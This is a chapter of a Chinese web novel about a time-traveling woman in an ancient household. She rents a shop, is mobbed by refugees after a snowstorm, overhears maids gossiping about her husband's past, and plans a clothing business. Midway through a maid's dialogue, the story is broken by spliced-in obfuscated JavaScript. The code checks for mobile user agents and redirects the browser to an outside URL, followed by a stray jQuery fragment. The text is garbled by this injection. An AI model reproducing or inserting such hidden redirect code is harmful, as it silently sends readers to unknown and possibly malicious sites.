看着曲凌寒眯起眼略带狡黠的面孔,老板不禁有些毛骨悚然。
莫非他这是遇到哪位不讲理的贵人了?想着想着,他颤颤巍巍的开口,
“姑娘啊,请怪小人有眼不识泰山了,您二人便是非富即贵!只是小人这生意还是要继续做下去啊。”
曲凌寒无奈的翻了个白眼,转过身和白晦面对面。
眼神示意,“我只是想告诉他,咱们夫妻经营生意会更好呢。”
“看来这个老板把我当成强抢民女那号人了。”
白晦居高临下的看向曲凌寒,“难道不是吗?”
好好好,你这人,信不信我跳起来打你膝盖。
曲凌寒扭过身再次看向老板,双手交叉抱于胸前,谄媚着开口。
“老板您倒是眼细,只是我与我夫君的贵人命,还不是老板您给的。”
那老板有些摸不着头脑,
“您二人的命格,怎的与我有何关系?”
曲凌寒猛地拍响双手,
“怎的没有关系,今日您将房租降些,明日我与我夫君共同经营,我二人生意红火,那不还是沾了您的光嘛!”
老板看起来像是被曲凌寒说服了,又像思考到了什么一样,恍然大悟。
“姑娘,那我沾了你们什么光啊!”
“哎呀,老板,您怎么还是不明白呢,我二人生意好了,您这铺子,不跟着火了吗。”
“嗯...好像也是。”
曲凌寒看老板将要同意,于是顺势推一把。
“那就这样说定了,一口价,一月十贯钱,我先租上一年,明日我二人便来结账。”
“唉,行吧。”
曲凌寒看向身边的白晦,他静静的站在那儿,风轻轻带起他的发丝,衣袂也跟着飘动。
如果不是早知道他是习武之人,曲凌寒早就把他当成哪家青楼的头牌了。
“你笑什么?”
唔,好冷,原来是某人又说话了。
“笑你好看。”
白晦一记眼神刀过去,曲凌寒再也不敢乱说了。
忙不迭找起其他事儿做。
“老板,那您今日就先好好将这盘缠收拾收拾,我二人明日便来结账。”
“行。”
话罢,曲凌寒拉起白晦的衣服就要走,白晦却是纹丝不动。
“走呀,侯爷。”
曲凌寒掐着声音柔柔的说道。
白晦指向门外,“你看外面的人。”
曲凌寒有些不明所以,但还是顺着白晦手指的方向看去。
“!怎么这么多流民。”
曲凌寒瞪大双眼。
“你先回府,今日就先不要外出。我去一趟宫里。”
白晦看向曲凌寒,极其冷静的说道。
“行。那我先走了。”
话音刚落,曲凌寒的双脚便迈向门外。
才一步,她就扭头可怜兮兮的看向白晦。
“怎么了?”
白晦有些不明所以。
“那个,有点害怕。”
曲凌寒指向门外。
毕竟是第一次直面历史,曲凌寒说不害怕那真的是假的。
白晦不知做了什么,眨眼间,秦杭便出现在曲凌寒面前。
“”哇,好迅速。”
白晦没有搭理两眼放光的曲凌寒。
“秦杭,把侧夫人送回府。晚些,去宫门口寻我。”
后来曲凌寒回想起才发现,他说这话时,好像在叹息。
“好。”
接着秦杭伸出手指向门外。
“侧夫人,请吧。”
曲凌寒和秦杭走在路上,她看着街旁衣衫褴褛,蓬头垢面抱着婴孩的疯妇,心中升起一阵苦楚。
她本以为老板口中的大雪封门只是不想经营的借口。
现在看来是她心胸狭小了些。
天灾面前,人命如草芥。
曲凌寒就这样虚浮的走在街上,忽然升起一阵骚乱,几个流民扑上他二人身前。
“贵人,给点东西吃吧。”
尽管秦杭护着曲凌寒,但是流民数量太多,曲凌寒还是陷入了漩涡中。
“贵人,给点东西吃吧。一家老小都饿到不能动了。”
“贵人,求您赏小的点吃的吧,家里牲畜都死绝了,粮食也都冻坏了。”
曲凌寒有些不知所措,
“大家先冷静,我很想帮助大家,只是我今日出门什么也没带,大家可以明日来找我……”
曲凌寒话还没有说完,就将要被扑倒在地。
“恶人!靠我们的粮过活还不肯给我们活路!”
“恶人,打她!!!”
“骗子!骗子!”
嘈杂的声音在曲凌寒耳旁环绕,想象中的疼痛并没有到来。
曲凌寒小心翼翼的睁开眼,发现自己正躺在裴无恙的怀抱里。
仅0.01秒,曲凌寒就迅速地从他怀里起身。
“多谢冠军侯相救,小女难以言表。”
裴无恙貌似并没有注意到曲凌寒在说什么,他大声指挥着身前挤成一团的流民。
“大家先安静些,听我讲。”
“此次大旱,实惟突然,虽避之不及,但我等定尽全力,给大家安定。”
“所有人,都可以去我裴府门口领救济粮。并且...”
他说话时很从容,周遭与他仿佛不是一个世界。
裴无恙的五官很柔和,总给人一种安全的感觉,就像这次一样。
流民的声音再次响起,却是整齐的。
“多谢贵人。”
裴无恙看向秦杭说道。
“往来流民实在多,护好你家侧夫人。”
接着又走向曲凌寒面前,
“凌寒,我如今只是校尉,不是什么侯爷。”
曲凌寒讪讪的点头,“原是如此,是我唐突了。”
曲凌寒总觉得,裴无恙看她的眼神,像是在看另一个人。
不过此刻恐惧上身,她并没有太在意。
接下来一路上,曲凌寒和秦杭没有遇到什么困难。
想来应是裴无恙的人在暗中相助。
回到府内,曲凌寒快步走向正房,忙活了一天,实在想好好休息。
白晦不喜人扰,所以他俩的房间要绕过府内花园,走向最深处。
正当曲凌寒打算从小路绕花园时,忽然听到园内小声的叽叽喳喳。
“听说太子殿下管辖的一个州府府衙贪污,大雪冻死了牲畜和作物,流民没有东西吃,入了京城。”
一个婢女带着憎恶的声音说道。
“啊,那岂不是咱们侯爷又要跟着遭殃了。”
话中带着惋惜。
“唉,那有什么办法。咱们侯爷虽说出生显贵,奈何是青楼女子所生,夫人难产而死,老爷厌恶咱们侯爷,给他取了那样一个名字。又去殉情。空留咱们侯爷一人在人世。”
微微带着怒气的声音响起。
“老爷为了娶那个青楼女子,早已和全家断了关系。好在皇上看侯爷可怜,把他接入宫去养,当了太子伴读,却是少不了替太子挨打。”
接着又有一个婢女的声音响起。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323092|183180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“不过要我说,皇上也不是真的疼爱咱们侯爷,想当年,侯爷才十五,就上战场,军功无数。如今侯爷才十九,尚且年轻有为。怎的才让咱们侯爷娶了这样一个家世衰落的侧夫人,听说她爹只是个队正。”
带着惋惜和不满的声音响起。
“天呐!九品芝麻官啊,要不然只是个侧夫人呢,我觉得咱们侯爷还是和华瑶公主最配了。”
“我觉得也是!”
两个人的声音都带了些不服气。
曲凌寒也很不服气。
好吧,再也不听墙角了。
这下好了,吃瓜吃到自己头上了。
能嫁给这样一个好歹有头有脸在史书上的人,曲凌寒一直以为,怎么着自己家也得是个三品,不,四品也行。
九品芝麻官吗?难怪史书上不写白晦的家室呢。
曲凌寒听完墙角,心事重重的沿着小路走回正房。
看来不论到哪儿,什么时候,还是要靠自己。
曲凌寒从桌上取了笔,将纸铺平。
一条一条写下自己的未来打算,
一,将现在的铺子装修打理好,卖些时兴但别处不常有的款式。
二,跟随时代洪流,设计相关衣物。
三,招合伙人,将成衣铺开向全国各地。
四,如果可以的话,我想要开一个自己的品牌。
写着写着,曲凌寒不禁笑出声来。
她仿佛已经看到了未来坐拥千亿资产的自己。
…
放下笔,想到今日花园里婢女们说的话,曲凌寒有些难过。
“想不到白晦的身世竟这样悲惨,难怪他不爱说话,原来是曾经根本没有人陪他说话,陪他玩。”
想着想着,曲凌寒趴在桌上。脑中仿佛蹦出来两个小人。
“不过他身世无论是悲催还是凄惨和我有什么关系?”
“你现在是她的夫人,你俩可是一条船上的蚂蚱,不管他封官加爵,还是被贬官降职,都和你的命息息相关呢。”
“我将来可是要成为大富商呢,我早晚是要离开他的,况且,我也不是这个时代的人,我要回家的。”
“那你现在不是还没有回去吗?再说了,你知道怎么回去吗?你别忘了,你赚了钱还是要给那个男人利息呢。”
脑中的小人越吵越激烈,曲凌寒两只手摇晃脑袋,试图让她们消散。
最后一丝光被太阳召回,月亮挑准了时间,一片皎洁洒下。
外面又刮起了风,窗户好像有些老了,空留几丝缝隙,让风有机会带着月亮的光来到曲凌寒的桌前。
不过仅一刹那,便消失不见。
月下弦。
外面忽然狂风大作,预告着一场暴风雨的到来。
燕子慌乱低飞,家里仆人有条不紊的收拾院子里的东西。
时间好似放慢了,曲凌寒很久没有这样认真观察这世界了。
因为什么呢,是因为今天白晦不在吗?
曲凌寒忽然有些担心,戌时已至,白晦却还未归。
想了一会儿,曲凌寒还是决定出门找秦杭问一下。
顺着小路,曲凌寒看到了今天花园里的两个婢女,她们一如既往的喊着侧夫人。
曲凌寒没有在意,继续寻找秦杭。
时间过得很快,大雨已经下了起来,白晦和秦杭却都不在府上。
尽管曲凌寒和白晦没有很深的感情,她却控制不住自己似的在府里乱转,试图在某一处角落找到白晦。
忽然一阵雷声响起,门口的小厮匆忙来报。
“侯爷回来了!”